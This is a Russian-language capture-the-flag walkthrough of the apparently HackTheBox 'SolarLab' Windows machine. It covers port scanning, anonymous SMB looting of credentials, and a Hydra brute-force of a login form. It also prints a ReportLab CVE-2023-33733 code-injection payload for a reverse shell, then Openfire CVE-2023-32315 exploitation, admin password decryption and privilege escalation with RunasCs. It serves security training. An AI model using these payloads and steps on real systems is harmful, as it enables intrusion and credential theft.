Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/8261600c-098e-48c4-98fb-123b706632c4 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Проверим, какие порты открыты на сервисе:
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack nginx 1.24.0
|_http-server-header: nginx/1.24.0
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: SolarLab Instant Messenger
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack
6791/tcp open http syn-ack nginx 1.24.0
|_http-server-header: nginx/1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Сразу все домены занесем в /etc/hosts
.
Веб
Из веб-сервиса нам важен этот скриншот:
Samba
Самба позволяет анонимный доступ, которыым мы воспользуемся, чтобы скачать файл details-file.xlsx
из шары Documents
.
Внутри файла обнаружим список кредов:
Соберем файл users.txt
и passwords.txt
:
KAlexander
AlexanderK
SClaudia
ClaudiaS
BlakeB
BBlake
al;ksdhfewoiuh
dkjafblkjadsfgl
d398sadsknr390
ThisCanB3typedeasily1@
danenacia9234n
dadsfawe9dafkn
report.solarlab.htb
С помощью файлов выше попробуем сбрутить пароль гидрой:
$ hydra -L users.txt -P passwords.txt report.solarlab.htb -s 6791 http-post-form "/login:username=^USER^&password=^PASS^:S=302"
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-12 12:10:38
[DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:6/p:6), ~3 tries per task
[DATA] attacking http-post-form://report.solarlab.htb:6791/login:username=^USER^&password=^PASS^:S=302
[6791][http-post-form] host: report.solarlab.htb login: *** password: ***
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-12 12:10:44
Находим валидные креды, с которыми логинимся внутрь.
Пробуем заказать себе тренинг с любой нашей картинкой и получаем PDF, который создан с помощью ReportLab.
$ exiftool output.pdf
...
Producer : ReportLab PDF Library - www.reportlab.com
...
Находим https://github.com/c53elyas/CVE-2023-33733 и понимаем, что можем выполнять RCE. Воспользуемся для этого Powershell #3 (base64) с revshells.com
:
<p>
<font color="[ [ getattr(pow,Attacker('__globals__'))['os'].system('REVSHELL HERE') for Attacker in [orgTypeFun('Attacker', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">
exploit
</font>
</p>
Засунем ее в travel_request
:
Флаг пользователя
Повышение привилегий
Выполним netstat
:
Видим сервер openfire-service
на порту 9090
и 9091
. Завернем их на локальную машину.
Здесь обнаруживаем уязвимую версию Openfire 4.7.4, для которой есть обход аутентификации и выполнение RCE - CVE-2023-32315.
Выполнив атаку с помощью этой CVE, перейдем в C:\Program Files\Openfire\embedded-db
и обнаружим скрипт, который содержит пароль администратора в зашифрованном виде:
PS> cd "C:\Program Files\Openfire\embedded-db"
PS> type openfire.script
...
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'***','Administrator','[email protected]','001700223740785','0')
...
INSERT INTO OFPROPERTY VALUES('passwordKey','***',0,NULL)
...
Воспользуемся https://github.com/c0rdis/openfire_decrypt для расшифровки пароля:
$ git clone https://github.com/c0rdis/openfire_decrypt
$ cd openfire_decrypt
$ javac OpenFireDecryptPass.java
$ java OpenFireDecryptPass *** ***
*** (hex: ***)
Теперь попробуем переиспользовать пароль для логина как Administrator
.
Просто воспользуемся RunasCs
:
RunasCs.exe Administrator *** s.exe